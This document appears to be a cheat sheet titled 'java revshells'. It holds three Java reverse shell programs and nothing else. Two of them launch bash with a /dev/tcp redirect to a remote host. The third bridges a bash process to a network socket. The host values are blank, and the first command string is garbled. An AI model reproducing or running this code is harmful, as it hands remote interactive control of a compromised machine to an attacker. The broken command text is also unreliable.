java revshells: ``` public class shell { public static void main(String[] args) { Process p; try { p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/>/ 0>&1"); p.waitFor(); p.destroy(); } catch (Exception e) {} } } ``` ``` public class shell { public static void main(String[] args) { ProcessBuilder pb = new ProcessBuilder("bash", "-c", "$@| bash -i >& /dev/tcp// 0>&1") .redirectErrorStream(true); try { Process p = pb.start(); p.waitFor(); p.destroy(); } catch (Exception e) {} } } ``` ``` import java.io.InputStream; import java.io.OutputStream; import java.net.Socket; public class shell { public static void main(String[] args) { String host = ""; int port = ; String cmd = "bash"; try { Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start(); Socket s = new Socket(host, port); InputStream pi = p.getInputStream(), pe = p.getErrorStream(), si = s.getInputStream(); OutputStream po = p.getOutputStream(), so = s.getOutputStream(); while (!s.isClosed()) { while (pi.available() > 0) so.write(pi.read()); while (pe.available() > 0) so.write(pe.read()); while (si.available() > 0) po.write(si.read()); so.flush(); po.flush(); Thread.sleep(50); try { p.exitValue(); break; } catch (Exception e) {} } p.destroy(); s.close(); } catch (Exception e) {} } } ```